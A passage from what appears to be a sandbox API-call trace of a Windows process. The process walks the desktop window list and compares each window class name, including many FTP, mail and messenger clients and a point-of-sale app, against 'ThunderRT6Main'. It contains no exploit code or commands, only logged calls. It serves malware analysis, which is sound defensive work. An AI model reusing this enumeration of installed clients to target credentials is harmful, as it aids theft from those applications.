uCmd=0x2) returned 0x1022e [0154.264] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.264] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.264] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0154.264] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0154.264] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0154.265] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0154.265] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.265] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.265] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0154.265] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0154.265] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0154.265] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0154.266] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.266] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.266] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0154.266] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0154.266] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0154.266] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0154.266] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.266] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.267] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0154.267] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0154.267] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0154.267] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0154.267] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.267] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.268] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0154.268] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0154.268] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0154.268] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0154.268] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.268] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.269] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0154.269] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0154.269] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0154.269] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0154.269] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.269] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.269] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0154.269] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0154.270] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0154.270] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0154.270] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.270] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.270] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0154.270] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0154.270] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0154.271] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0154.271] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.271] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.271] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0154.271] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0154.271] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0154.272] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0154.272] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.272] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.272] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0154.272] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0154.272] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0154.273] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0154.273] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.273] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.273] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0154.273] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0154.273] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0154.273] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0154.273] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.274] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.274] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0154.274] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0154.274] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0154.274] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0154.275] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.275] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.276] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0154.276] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0154.276] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0154.276] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0154.276] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.276] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.277] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0154.277] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0154.277] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0154.277] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0154.277] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.277] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.277] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0154.277] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0154.278] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0154.278] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0154.278] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.278] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.278] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0154.278] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0154.278] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0154.279] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0154.279] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.279] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.279] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0154.279] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0154.279] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0154.280] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0154.280] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.280] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.280] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0154.280] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0154.280] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0154.280] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0154.280] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.281] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.281] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0154.281] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0154.281] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0154.281] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0154.281] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.281] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.282] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0154.282] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0154.282] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0154.282] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0154.282] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.282] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.283] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0154.283] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0154.283] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0154.283] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0154.283] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.283] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.284] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0154.284] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0154.284] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0154.284] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0154.284] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.284] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.284] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0154.284] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0154.284] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0154.285] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0154.285] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.285] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0154.285] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0154.285] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0154.286] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0154.286] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.286] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0154.286] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0154.286] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0154.287] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0154.287] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.287] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0154.287] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0154.287] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0154.287] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0154.287] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.288] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.288] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0154.288] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0154.288] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0154.288] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0154.288] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.288] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.289] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0154.289] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0154.289] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0154.289] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0154.289] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.289] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.290] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0154.290] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0154.290] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0154.338] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0154.338] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.338] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.339] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0154.339] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0154.339] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0154.339] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0154.339] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.340] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.340] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0154.340] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0154.340] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0154.340] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0154.340] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.340] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.341] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0154.341] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0154.341] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0154.341] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0154.341] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.341] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0154.341] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0154.342] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0154.342] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0154.342] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.342] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0154.342] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0154.342] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0154.343] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0154.343] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.343] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.343] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0154.343] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0154.343] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0154.344] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0154.344] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.344] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.344] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0154.344] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0154.344] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0154.345] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0154.345] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.345] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0154.345] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0154.345] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0154.345] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0154.345] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.346] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0154.346] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0154.346] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0154.346] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0154.346] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.346] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.347] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0154.347] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0154.347] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0154.347] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0154.347] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.347] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.348] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0154.348] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0154.348] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0154.348] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0154.348] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.348] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.348] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0154.349] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0154.349] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0154.349] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0154.349] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.349] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.349] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0154.349] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0154.349] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0154.350] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0154.350] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.350] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.350] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0154.350] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0154.350] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0154.351] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0154.351] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.351] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.351] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0154.351] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0154.351] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0154.352] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0154.352] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.352] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.352] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0154.352] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0154.352] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0154.352] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0154.352] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.353] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.353] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0154.353] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0154.353] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0154.353] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0154.353] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.353] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.354] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0154.354] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0154.354] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0154.354] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0154.354] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.354] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.355] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0154.355] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0154.355] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0154.355] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0154.355] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.355] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.355] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0154.356] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 